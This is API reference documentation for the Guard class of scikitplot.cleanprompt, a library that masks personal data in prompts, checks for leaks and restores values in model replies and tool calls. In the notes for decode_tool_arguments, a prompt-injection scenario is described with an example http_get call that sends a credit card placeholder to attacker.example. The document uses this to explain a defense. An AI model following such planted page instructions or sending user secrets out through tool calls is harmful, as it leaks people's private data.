Guard#

class scikitplot.cleanprompt.Guard(cleaner=None, format='text', verify=True)[source]#

Encode what goes to a model, check it, and decode what comes back.

Parameters:

cleanerCleaner, optional: Defaults to Cleaner() — packs chosen by format, placeholders, remember on.
formatstr, default=’text’: How prompt text is read. Use 'markdown' for Markdown prompts, or any other text format the cleaner’s plan selects.
verifybool, default=True: Run the independent leak check on everything outgoing, and refuse to send on a finding.

Parameters:

cleaner (Cleaner | None)
format (str)
verify (bool)

Notes

User notes. One guard is one conversation: a value keeps its placeholder for every turn, and the vault is cleared when the with block ends. Nothing about the guard needs the network; you pass the function that calls the model.

Examples

>>> from scikitplot.cleanprompt import FluentCleanPrompt
>>> with FluentCleanPrompt().guard() as guard:
...     guard.ask(
...         "Write to ann@example.com", lambda safe: "Sent to " + safe.split()[-1]
...     )
'Sent to ann@example.com'

async aask(prompt, call)[source]#

Guard prompt, await call with it, and decode the answer.

Parameters:

promptstr: What you would have sent.
callcallable: An async function taking the safe prompt and returning the model’s text.

Returns:

str: The decoded answer.

Raises:

LeakError: Before call is invoked, if the check fails.
TypeError: If call does not return an awaitable, or it does not resolve to a string.

Parameters:

prompt (str)
call (Callable[[str], Awaitable[str]])

Return type:

str

Notes

User notes. Encoding runs in the calling thread; it is fast for a prompt. For a large document, await asyncio.to_thread(guard.outgoing, text) first — a guard is safe to share across threads (CP-067).

async achat(messages, call)[source]#

Guard every message, await call with them, and decode the reply.

Parameters:

messagessequence of mapping: As chat.
callcallable: An async function taking the guarded messages and returning a string or a message mapping.

Returns:

str or dict: The reply, decoded, in the shape call returned.

Raises:

LeakError: Before call is invoked, if any message fails the check.
TypeError: If call does not return an awaitable of a string or mapping.

Parameters:

messages (Sequence[Mapping[str, Any]])
call (Callable[[list[dict[str, Any]]], Awaitable[Any]])

Return type:

Any

async adecode_stream(chunks)[source]#

Decode a reply streamed by an asynchronous client.

Parameters:

chunksasync iterable of str: The reply as the client streams it.

Yields:

str: As decode_stream.

Raises:

TypeError: If a chunk is not a string.

Parameters:

chunks (AsyncIterable[str])

Return type:

AsyncIterator[str]

ask(prompt, call)[source]#

Guard prompt, pass it to call, and decode the answer.

Parameters:

promptstr: What you would have sent.
callcallable: Takes the safe prompt, returns the model’s text.

Returns:

str: The decoded answer.

Raises:

LeakError: Before call is invoked, if the check fails.
TypeError: If call does not return a string.

Parameters:

prompt (str)
call (Callable[[str], str])

Return type:

str

chat(messages, call)[source]#

Guard every message, pass them to call, and decode the reply.

Parameters:

messagessequence of mapping: Chat messages. content may be a string or a list of parts; a part’s text is guarded. Other keys are copied unchanged.
callcallable: Takes the guarded messages; returns a string or a message mapping.

Returns:

str or dict: The reply, decoded, in the shape call returned.

Raises:

LeakError: Before call is invoked, if any message fails the check.
CleanPromptError: If a message has content of an unsupported shape.

Parameters:

messages (Sequence[Mapping[str, Any]])
call (Callable[[list[dict[str, Any]]], Any])

Return type:

Any

property cleaner: Cleaner#

The cleaner holding this conversation’s values.

Type:: Cleaner

clear()[source]#

Drop every value; the guard cannot be used afterwards.

Return type:: None

decode_object(value)[source]#

Return a JSON-like value with every string decoded.

Parameters:

valueobject: Tool-call arguments as a model wrote them — a mapping, a list, or a JSON string of either.

Returns:

object: The same shape with values restored. A JSON string comes back as the decoded JSON string.

Parameters:

value (Any)

Return type:

Any

decode_stream(chunks)[source]#

Decode a streamed reply, chunk by chunk.

Parameters:

chunksiterable of str: The reply as the client streams it.

Yields:

str: Decoded text, never empty; joined, it equals the whole reply decoded at once.

Raises:

TypeError: If a chunk is not a string.

Parameters:

chunks (Iterable[str])

Return type:

Iterator[str]

Examples

>>> from scikitplot.cleanprompt import FluentCleanPrompt
>>> guard = FluentCleanPrompt().guard()
>>> safe = guard.outgoing("mail ann@example.com")
>>> "".join(guard.decode_stream(["mail [EMA", "IL-1]"]))
'mail ann@example.com'

decode_tool_arguments(arguments, *, allow, on_withheld='raise')[source]#

Restore a tool call’s arguments with only the values this tool may get.

Parameters:

argumentsobject: The arguments as the model wrote them — a mapping, a list, or a JSON string of either (as decode_object takes them).
allowiterable of str, or "all": The value kinds this tool may receive, for example {"EMAIL"} for a tool that sends mail, or () for one that fetches a URL. "all" restores every kind and must be asked for explicitly.
on_withheld{‘raise’, ‘keep’}, default=’raise’: What to do when the arguments name a value of another kind: refuse the call, or pass that placeholder through unrestored.

Returns:

object: The arguments in the same shape, with allowed values restored.

Raises:

LeakError: With on_withheld='raise', if the arguments name a value of a kind not in allow. Nothing is restored and the tool must not run.
ValueError: If allow or on_withheld is not one of the accepted forms.

Parameters:

arguments (Any)
allow (Iterable[str] | str)
on_withheld (str)

Return type:

Any

Notes

User notes. A tool call is where decoded values leave again. An instruction hidden in a page the model read can ask it to call http_get("https://attacker.example/?c=[CREDIT_CARD-1]"); the model never saw the number, but restoring every placeholder would hand it to the request. Give each tool the kinds it needs and no more — a network tool usually needs none.

Developer notes. Which kinds the arguments name is decided by Cleaner.kinds_in, the same restoration that decoding runs, so the check and the decode cannot disagree (CP-073).

Examples

>>> from scikitplot.cleanprompt import FluentCleanPrompt, LeakError
>>> guard = FluentCleanPrompt().guard()
>>> _ = guard.outgoing("mail ann@example.com, card 4242 4242 4242 4242")
>>> guard.decode_tool_arguments({"to": "[EMAIL-1]"}, allow={"EMAIL"})
{'to': 'ann@example.com'}
>>> try:
...     guard.decode_tool_arguments({"url": "x?c=[CREDIT_CARD-1]"}, allow=())
... except LeakError as error:
...     print(error.kinds)
('CREDIT_CARD',)

encode_object(value)[source]#

Return a JSON-like value guarded as the JSON document it will become.

Parameters:

valueobject: A tool result or any structure of dicts, lists, strings, numbers, booleans and None. A bare string is guarded as text.

Returns:

object: The value as json.loads reads the guarded document: keys, strings and numbers under sensitive field names are encoded, and every one is checked. Tuples become lists and non-string keys become strings, as in any JSON the model receives.

Raises:

TypeError: If the structure holds a type JSON cannot carry — refused rather than converted, so nothing is sent in a form nobody inspected.
ValueError: If it holds NaN or an infinity, which JSON cannot carry.
LeakError: As outgoing.
CleanPromptError: If this guard’s plan does not select the json format.

Parameters:

value (Any)

Return type:

Any

Notes

Developer notes — why the whole structure, not string by string (``CP-076``, ``CP-077``). Walking the structure and guarding each string left two things unread: mapping keys, so a result keyed by email address sent every address, and numbers, so a card or phone number stored as an integer went out as it was. Serialising once and guarding the document with the json format reads keys, gives a number under a sensitive field a numeric stand-in that keeps the JSON valid, reads Key: value prose inside strings (CP-078), and puts the whole document through the independent check.

Examples

>>> from scikitplot.cleanprompt import FluentCleanPrompt
>>> guard = FluentCleanPrompt().guard()
>>> guard.encode_object({"ann@example.com": {"card": 4242424242424242}})
{'[EMAIL-1]': {'card': -9900000001}}

incoming(reply, strict=False)[source]#

Put the values back into a model’s reply.

Parameters:

replystr: The model’s text.
strictbool, default=False: Raise on a placeholder this guard never issued.

Returns:

str: The restored text.

Parameters:

reply (str)
strict (bool)

Return type:

str

outgoing(text, format=None)[source]#

Return text safe to send, or raise before anything is sent.

Parameters:

textstr: A prompt, a message, a tool result.
formatstr, optional: Overrides the guard’s format for this text.

Returns:

str: The encoded text.

Raises:

LeakError: If the independent check finds a removed value still present.
CleanPromptError: If the text cannot be read as its format.

Parameters:

text (str)
format (str | None)

Return type:

str

stream()[source]#

Return a decoder for one streamed reply.

Returns:

StreamDecoder: Feed it chunks; flush it once.

Return type:

StreamDecoder